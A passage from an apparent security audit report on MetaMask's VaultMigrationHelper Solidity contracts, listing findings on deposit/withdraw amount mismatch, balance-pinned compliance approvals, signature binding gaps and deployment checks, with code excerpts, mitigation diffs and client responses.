7.1.3 `VaultMigrationHelper::migrateToBaseByDelegation` and `VaultMigrationHelper::migrateToPremiumByDelegatio` deposit the pre-signed leaf amount, not the withdraw output

Description: The helper sequences two independent legs. Nothing carries the output of the withdraw leg into the deposit leg:

```
// src/helpers/VaultMigrationHelper.sol:405-418 (:386-399 is the mirror for base-to-premium)
function _migrateToBaseByDelegation(ToBaseParams calldata _params) internal {
    ...
    premiumAdapter.withdrawByDelegation(_params.withdrawalDelegations, _params.minimumAssets); // @audit
    ↪  pays shares * rate(now)
    baseAdapter.depositByDelegation(_params.depositDelegations, _params.minimumMint);          // @audit
    ↪  deposits the amount frozen in the signed leaf
    ...
}
```

The adapter reads the deposit amount from the operator-signed leaf, fixed when the migration was quoted:

```
// src/helpers/VedaAdapter.sol:346 (ComplianceVedaAdapter.sol:388 parses the same way)
uint256 amount_ = _parseERC20TransferTerms(_delegations[0].caveats[0].terms); // @audit not linked to
↪  the withdraw output
```

The withdraw leg pays `shares × rate` at execution. The premium Teller refreshes the rate inside `withdraw` (`external/veda-premium-teller/src/base/Roles/TellerWithYieldStreaming.sol:31`), and that rate includes vesting yield, so it rises block by block (`external/veda-premium-accountant/src/base/Roles/AccountantWithYieldStreaming.sol:361-371`). Whenever the output differs from the signed amount:

- **Output above the signed amount** (rate drift): the surplus stays in the user's wallet, outside both vaults.
- **Output below the signed amount** (operator over-quote, or a rate drop via the strategist's `postLoss`, `AccountantWithYieldStreaming.sol:213`): the adapter covers the shortfall from mUSD the user already held, or reverts if the wallet cannot.

The helper never reads the mUSD delta (`VaultMigrationHelper.sol:390-391, :409-410`), so it detects neither. The base accountant's rate is flat today, so base-to-premium currently sees only the over-pull case.

The client's own tests assert `MUSD.balanceOf(alice) == musdBefore_` after each migration (`test/helpers/VaultMigrationHelper.t.sol:181, :198`), and the PR description states "the user's mUSD balance is unchanged". The assertion holds only because the tests quote and execute in the same block.

Impact:

- A migration executed after the rate has moved leaves the user's pro-rata share of the vested yield un-migrated in the wallet. This is a few thousand wei on the live vault today, and about 0.006 mUSD per hour of delay per 1,000 mUSD at a 5% annual yield.
- An over-quote or rate drop silently enlarges the destination position with wallet mUSD the user did not sign for this migration (50 mUSD in the PoC), placing it behind the base share lock or the premium compliance gate.

Recommended Mitigation: If an exact mUSD round-trip is not a hard requirement, the lowest-cost option is to accept the residual and make it explicit. Remove the "mUSD balance unchanged" statement from the PR description and document that a migration may leave `shares × rate` mUSD in the wallet. Have the relayer quote the deposit leaf immediately before submission so that amount stays small, and let the operator issue a follow-up deposit for whatever remains.

Metamask: Acknowledged. We aim to create and submit the deposit transaction as close as possible to quote time; residual amounts may still occur. Chomp can be configured to move any remainder in a second pass.

7.1.4 `VaultMigrationHelper::premiumTransfer` pins the backend approval to the live balance, so inbound credits invalidate it

Description: `_premiumTransfer` reads `from` balance at execution and requires the backend's signed digest to contain exactly that number:

```
// src/helpers/VaultMigrationHelper.sol:360-364
uint256 amount_ = vault_.balanceOf(from_);                                    // @audit live balance
↪  at execution
...
_verifyTransferCompliance(from_, to_, address(vault_), amount_, _params.compliance); // @audit digest
↪  must match exactly

// src/helpers/VaultMigrationHelper.sol:491-493
bytes32 messageHash_ = keccak256(
    abi.encode(address(this), address(teller_), block.chainid, _from, _to, _vault, _amount,
    ↪  _compliance.deadline)
);
```

The NatSpec documents this design (`:40-41`) but not that other parties can change the balance between approval and execution, after which the digest differs, the recovered signer lacks the role and the call reverts with `ComplianceCheckFailed`:

- another holder's `premiumTransfer` with `to == from` (second hop, `:377`);

- a direct pvmUSD transfer to `from` by any `transferAllowedRole` holder, with no backend signature;
- `from`'s own migration or deposit landing first;
- in `premiumTransferBatch` (`:315-327`), an earlier stream crediting a later stream's `from`, so identical valid signatures pass or fail on relayer-chosen order.

A nested inbound credit from a leaf caveat hook lands after the read at `:361` and does not revert: the call succeeds against the stale amount and leaves the credit in `from`, contradicting the full-balance semantics (`test/audit/VaultMigrationHelperAdjacent.t.sol::test_VMH27_*`, local fixture).

The deposit path fixes the amount in the signed leaf and the digest, so no third party can change what the backend attested.

Impact: A prepared transfer becomes unusable once any inbound credit lands, and `from` needs a new approval. Relayers must order batch streams so no `to` is a later `from`; mutually paying streams cannot be ordered at all. Every inbound path today needs a backend signature or a `transferAllowedRole` holder, because the Teller allowlist requires `operator`, `from` or `to` to hold the role (`veda-premium-teller/src/base/Roles/TellerWithMultiAssetSupport.sol:521-532`).

That gate is Veda configuration the helper does not check: if the role is set to 255 (`:524` returns early) or granted to users, anyone can dust `from` with 1 wei and invalidate every pending approval.

Recommended Mitigation: To keep full-balance semantics, document the obligations: an inbound credit requires a fresh approval, batch streams must be ordered so no `to` is a later `from`, and mutually paying streams go in separate transactions.

Alternatively, let the backend attest a specific amount and require only that the balance covers it:

```
+    /// @dev Thrown when the attested amount exceeds `from`'s current premium balance.
+    error InsufficientBalance();
+
     struct PremiumTransferParams {
         address from;
         address to;
+        uint256 amount;
         ...
     }
 ...
-        uint256 amount_ = vault_.balanceOf(from_);
+        uint256 amount_ = _params.amount;
+        if (amount_ > vault_.balanceOf(from_)) revert InsufficientBalance();
```

Metamask: Acknowledged. This behavior is intentional. If the balance changes after the approval is signed, we prefer the transaction to revert so the transfer can be re-signed against the current full balance. Once a migration starts, inbound balance updates are halted in our workflows, so this should be rare; if it occurs, we revert and reissue (automated on our side).

7.2 Informational

7.2.1 Premium transfers leave principal history stale

Description: `premiumTransfer` and `premiumTransferBatch` move premium vault shares through the helper without updating the Teller's per-user principal history. The Teller records deposits and withdrawals, but its share-transfer hook is `view` and cannot add a checkpoint. Its own principal code assumes shares are not transferred between holders.

For example, after Alice deposits and transfers all her shares to Carol, Alice's history still shows her deposit although she holds no shares. Carol has shares but no deposit checkpoint; if she withdraws directly, the Teller skips her withdrawal checkpoint because her history is empty.

Impact: `getPrincipalHistoryPaginated` no longer reflects the principal associated with each holder. Reward or reporting systems that treat it as a complete per-holder record may misattribute principal.

Recommended Mitigation: Document on `premiumTransfer` and `premiumTransferBatch` that Teller principal history is not adjusted for share transfers and must not be used alone as a per-holder principal record. Users that need such a record should reconcile Teller deposits and withdrawals with vault `Transfer` events under an explicit rule for allocating principal when shares move. Transfer events alone do not establish that basis.

MetaMask: Fixed in b3012f5.

Cyfrin: Verified.

7.2.2 Helper does not validate adapter pairing

Description: `VaultMigrationHelper` stores the base and premium adapters as immutable addresses but checks only that they are nonzero. It does not verify that they form the intended pair. For example, a base adapter using the wrong deposit token can go unnoticed while `premiumTransfer` works, because that path does not use the base adapter; a later migration then reverts.

Impact: A trusted deployer can publish a helper that appears usable but fails on migration. Correcting the wiring requires a new helper address and fresh helper-bound delegations and signatures from users and the backend. No direct fund loss is demonstrated; failed migrations revert atomically. This is Informational.

Recommended Mitigation: Before broadcasting, have the deployment script verify the chain and adapter addresses against an approved configuration, confirm that the addresses contain adapter code, and check the intended deposit token, vault, and premium Teller relationships. The constructor may also reject internally inconsistent pairs, but getter checks alone cannot prove that a self-consistent pair is the intended production pair.

MetaMask: Acknowledged. Adapter addresses are manually verified as part of our deployment process.

7.2.3 `VaultMigrationHelper::_verifyUserTransferSignature` binds the root's signature bytes instead of the root delegation, so destination approvals are not root-specific for some ERC-1271 accounts

Description: `VaultMigrationHelper::premiumTransfer` requires the share owner (`from`) to approve the recipient (`to`) with a separate signature. The digest of that destination approval contains the root delegation's `signature` field, not the root delegation's hash:

```
// src/helpers/VaultMigrationHelper.sol:363
_verifyUserTransferSignature(from_, to_, _params.delegations[length_ - 1].signature,
↪  _params.userSignature);

// src/helpers/VaultMigrationHelper.sol:462-464
bytes32 messageHash_ = keccak256(abi.encode(address(this), block.chainid, _from, _to, _rootSignature));
↪  // @audit proof bytes, not root identity
bytes32 ethSignedHash_ = MessageHashUtils.toEthSignedMessageHash(messageHash_);
if (!SignatureChecker.isValidSignatureNow(_from, ethSignedHash_, _userSignature)) {
```

The NatSpec presents this as binding the approval to one root delegation:

- "Binding that signature ties `to` to this root without hashing the full delegation" (`VaultMigrationHelper.sol:53-54, :450-451`).
- "the user signature binds `to` to this helper, chain, `from`, and the root delegation the user signed" (`VaultMigrationHelper.sol:295-296`).

The NatSpec does not state the assumption this relies on: that a root's signature bytes identify the root. In other words, a given byte string must be a valid signature for only one hash, so that a new root (new salt) has a new EIP-712 hash and therefore new signature bytes.

The assumption holds for the framework's own accounts, whose signatures are cryptographically bound to the signed hash:

- `HybridDeleGator` accepts a 65-byte ECDSA signature from the owner or a P256 signature from a registered key (`HybridDeleGator.sol:369-375`).
- `MultiSigDeleGator` accepts exactly `threshold × 65` bytes of ECDSA signatures from its signers (`MultiSigDeleGator.sol:328-347`).
- `EIP7702StatelessDeleGator` accepts an ECDSA signature from the EOA itself (`EIP7702StatelessDeleGator.sol:54-58`).

ERC-1271 does not require this property, and the helper is not restricted to these accounts:

- The NatSpec states that the destination proof is "Verified with ERC-1271 on `from` via SignatureChecker" (`VaultMigrationHelper.sol:51`).
- The `DelegationManager` validates any contract root delegator with `isValidSignature(typedDataHash, delegation.signature)` (`DelegationManager.sol:176`).

An ERC-1271 account may treat a hash as valid because it approved that hash in its own storage, and then accept the same proof bytes for every approved hash.

Safe works this way. Its standard fallback handler accepts an empty signature for any message the Safe has signed on-chain (`CompatibilityFallbackHandler.sol:33-37, v1.4.1`):

```
if (_signature.length == 0) {
    require(safe.signedMessages(messageHash) != 0, "Hash not approved");
} else {
    safe.checkSignatures(messageHash, messageData, _signature);
}
```

A Safe signs a message on-chain through `SignMessageLib.signMessage`, which sets `signedMessages[msgHash] = 1` (`SignMessageLib.sol:22-24, v1.4.1`). Both contracts are deployed on Monad.

Suppose such an account signed two root delegations, A and B, on-chain. Both would carry `signature = ""`, and the helper would compute the same destination digest, `keccak256(abi.encode(helper, chainId, from, to, ""))`, for both. A destination approval given for root A would therefore be valid for every root of that account.

We could not find a public account implementation that is affected:

- Safe cannot act as a root delegator, because it does not implement `executeFromExecutor`.
- None of the implementations we reviewed combines both properties.

This does not mean the issue is impossible. A custom account that implements `executeFromExecutor` and validates ERC-1271 signatures this way would be affected. The root binding is therefore a gap in the design's assumptions.

Impact: For an affected account, disabling a root delegation does not revoke the destination approvals given for it. Anyone can use such an approval with any other valid premium-transfer root of the same account. Given a fresh compliance approval for the previously approved recipient, this moves the account's full premium balance to that recipient.

Recommended Mitigation: Bind the destination approval to the root delegation's hash, which is the identifier `DelegationManager::disableDelegation` uses.

This does not require hashing the delegation on-chain, which the NatSpec gives as the reason for the current design. The delegation directly below the root carries the root's hash in its `authority` field, and the `DelegationManager` reverts with `InvalidAuthority` unless the two match (`DelegationManager.sol:190-194`):

```
-         _verifyUserTransferSignature(from_, to_, _params.delegations[length_ - 1].signature,
↪  _params.userSignature);
+         // The DelegationManager reverts unless this equals the root delegation's hash.
+         _verifyUserTransferSignature(from_, to_, _params.delegations[length_ - 2].authority,
↪  _params.userSignature);
 ...
     function _verifyUserTransferSignature(
         address _from,
         address _to,
-        bytes calldata _rootSignature,
+        bytes32 _rootDelegationHash,
         bytes calldata _userSignature
     )
         private
         view
     {
-        bytes32 messageHash_ = keccak256(abi.encode(address(this), block.chainid, _from, _to,
↪  _rootSignature));
+        bytes32 messageHash_ = keccak256(abi.encode(address(this), block.chainid, _from, _to,
↪  _rootDelegationHash));
```

Alternatively, document that `premiumTransfer` supports only delegators whose signatures are bound to the signed hash (`HybridDeleGator`, `MultiSigDeleGator`, `EIP7702StatelessDeleGator`), and correct the NatSpec statements above.

MetaMask: Fixed in 8b18421.

Cyfrin: Verified.

7.2.4 Consider signing the destination approval as EIP-712 typed data so wallets can display the recipient

Description: In `premiumTransfer`, the holder approves the recipient by signing a 32-byte hash with EIP-191 `personal_sign`:

```
// src/helpers/VaultMigrationHelper.sol:462-463
bytes32 messageHash_ = keccak256(abi.encode(address(this), block.chainid, _from, _to, _rootSignature));
bytes32 ethSignedHash_ = MessageHashUtils.toEthSignedMessageHash(messageHash_);
```

The scheme is documented as deliberate (`VaultMigrationHelper.sol:48`) and works as intended. However, a wallet presented with this message can only show the opaque 32-byte hash. The holder therefore cannot confirm on the signing screen which recipient they are approving, and has to trust the front end that built the hash. The NatSpec presents the recipient as the holder's choice ("The share owner (`from`) picks the recipient", `VaultMigrationHelper.sol:34`), but the holder has no way to check that choice when signing.

Impact: Holders sign destination approvals without being able to see the recipient. This makes it harder to detect a faulty or compromised front end, and makes it easier for a holder to approve a recipient by mistake.

Recommended Mitigation: Sign the destination approval as EIP-712 typed data under a helper domain, so that wallets display `from` and `to`. The domain binds the helper address and the chain ID, so the on-chain cost is unchanged:

```
bytes32 private constant PREMIUM_TRANSFER_APPROVAL_TYPEHASH =
    keccak256("PremiumTransferApproval(address from,address to,bytes32 rootDelegationHash)");

bytes32 digest_ =
    _hashTypedDataV4(keccak256(abi.encode(PREMIUM_TRANSFER_APPROVAL_TYPEHASH, _from, _to,
    ↪  _rootDelegationHash)));
```

MetaMask: Acknowledged. Destination approvals are part of the MetaMask Money Account internal flow and are not presented to the end user for review.

7.2.5 Consider using distinct errors for the different compliance failures in `VaultMigrationHelper::_verifyTransferCompliance`

Description: `_verifyTransferCompliance` reverts with `ComplianceCheckFailed` for four unrelated reasons:

```
// src/helpers/VaultMigrationHelper.sol:494-506
if (usedComplianceSignatures[messageHash_]) revert ComplianceCheckFailed(); // @audit approval already
↪  used
if (block.timestamp > _compliance.deadline) revert ComplianceCheckFailed(); // @audit approval expired

uint96 complianceWindow_ = teller_.complianceWindow();
if (complianceWindow_ > 0 && _compliance.deadline > block.timestamp + complianceWindow_) {
    revert ComplianceCheckFailed(); // @audit deadline beyond the Teller's window
}

bytes32 ethSignedHash_ = MessageHashUtils.toEthSignedMessageHash(messageHash_);
address recovered_ = ECDSA.recover(ethSignedHash_, _compliance.signature);
if (!IRolesAuthority(teller_.authority()).doesUserHaveRole(recovered_, complianceSignerRole_)) {
    revert ComplianceCheckFailed(); // @audit signer lacks the compliance role
}
```

Impact: A caller or the backend cannot tell from the revert reason why a premium transfer was rejected, although each cause needs a different response. An already-used approval means the transfer already happened. An expired approval, or one whose deadline is beyond the window, needs a new approval. A signer without the role points to a key or role configuration problem. Telling these apart requires recomputing the digest off-chain and checking the replay map, the clock, the Teller's window and the signer's role.

Recommended Mitigation: Consider using a distinct error for each cause.

MetaMask: Fixed in 96e4012.

Cyfrin: Verified.

7.2.6 `DeployVaultMigrationHelper` deploys a helper that is inert until Veda grants it a role, and neither the script nor the contract checks any role prerequisite

Description: The in-scope deploy script (`docs/scope.md:24`) broadcasts the constructor and stops:

```
// script/DeployVaultMigrationHelper.s.sol:36-42
vm.startBroadcast();
address deployed = address(new VaultMigrationHelper{ salt: salt }(owner, baseAdapter, premiumAdapter));
↪  // @audit no chain, code or role assertion
vm.stopBroadcast();
```

The constructor only rejects zero addresses (`src/helpers/VaultMigrationHelper.sol:215-221`). The helper then depends on Veda roles that nothing in this repository grants or verifies:

Requirement	Why
helper holds `transferAllowedRole` (37)	both hops of `premiumTransfer` (`TellerWithMultiAssetSuppor`
premium adapter holds 37 and `allowlistedRouterRole` (38)	premium withdraw leg (`:540-547`)
base adapter holds base role 90	role-gated base `deposit`

A missing role surfaces only as a Teller revert inside a user transaction, after users may have signed standing roots bound to the helper address. The NatSpec names the helper's role (`:30-31`, `:292`) but not the adapter roles, and `.env.example:15-17` lists only addresses.

Recommended Mitigation: Add a configuration view, assert chain and code before broadcasting, and report the role state after:

```
+    function isConfigured() external view returns (bool) {
+        IComplianceVedaTeller teller_ = premiumAdapter.teller();
+        IRolesAuthority auth_ = IRolesAuthority(teller_.authority());
+        uint8 transferRole_ = teller_.transferAllowedRole();
+        return auth_.doesUserHaveRole(address(this), transferRole_)
+            && auth_.doesUserHaveRole(address(premiumAdapter), transferRole_)
+            && auth_.doesUserHaveRole(address(premiumAdapter), teller_.allowlistedRouterRole())
+            && teller_.complianceSignerRole() != type(uint8).max;
+    }
```

```
     function run() public {
+        require(block.chainid == vm.envUint("EXPECTED_CHAIN_ID"), "wrong chain");
+        require(baseAdapter.code.length > 0 && premiumAdapter.code.length > 0, "adapter has no code");
         vm.startBroadcast();
-        address deployed = address(new VaultMigrationHelper{ salt: salt }(owner, baseAdapter,
↪  premiumAdapter));
+        VaultMigrationHelper deployed = new VaultMigrationHelper{ salt: salt }(owner, baseAdapter,
↪  premiumAdapter);
         vm.stopBroadcast();
+        console2.log("Veda roles configured: %s", deployed.isConfigured());
```

Add the two role getters to `IComplianceVedaTeller`, document the role matrix as a deployment prerequisite, and align the fork fixture with the live router role.

MetaMask: Acknowledged. Confirming correct helper setup, including required Veda roles, is part of our deployment procedure.

7.2.7 `VaultMigrationHelper` migration NatSpec does not state that the moved amount is read from the leaf's first caveat terms

Description: The adapters read every migration leg's amount from a fixed offset in the leaf's first caveat:

```
// src/helpers/ComplianceVedaAdapter.sol:364-367 (VedaAdapter.sol:330-333 is identical)
function _parseERC20TransferTerms(bytes calldata _terms) private pure returns (uint256 amount_) {
    if (_terms.length < 52) revert InvalidTermsLength();
    amount_ = uint256(bytes32(_terms[20:52])); // @audit assumes caveats[0] is
    ↪  ERC20TransferAmountEnforcer
}
```

The adapters' NatSpec states this (`ComplianceVedaAdapter.sol:240-242`); the helper's `ToPremiumParams` and `ToBaseParams` NatSpec (`src/helpers/VaultMigrationHelper.sol:63-91`) does not, and the helper's only mention of `ERC20TransferAmountEnforcer` says the premium-transfer root does *not* use it (`:30`). An integrator building chains from the helper's documentation alone gets an opaque adapter revert.

Recommended Mitigation:

```
- * @param withdrawalDelegations Delegation chain redeemed by the base adapter to withdraw base vault
↪  shares.
+ * @param withdrawalDelegations Delegation chain redeemed by the base adapter to withdraw base vault
↪  shares.
+ *        The leaf's first caveat MUST be an `ERC20TransferAmountEnforcer` encoding the base vault and
↪  the
+ *        exact share amount; the adapter reads the amount from `caveats[0].terms[20:52]`.
- * @param depositDelegations Delegation chain redeemed by the premium adapter to deposit the withdrawn
↪  assets.
+ * @param depositDelegations Delegation chain redeemed by the premium adapter to deposit the withdrawn
↪  assets.
+ *        Same first-caveat requirement, encoding mUSD and the exact deposit amount (also bound in
↪  `compliance`).
```

Apply the same to `ToBaseParams`, and reword `:30` to make clear it applies only to premium-transfer roots.

MetaMask: Fixed in 43c721b.

Cyfrin: Verified.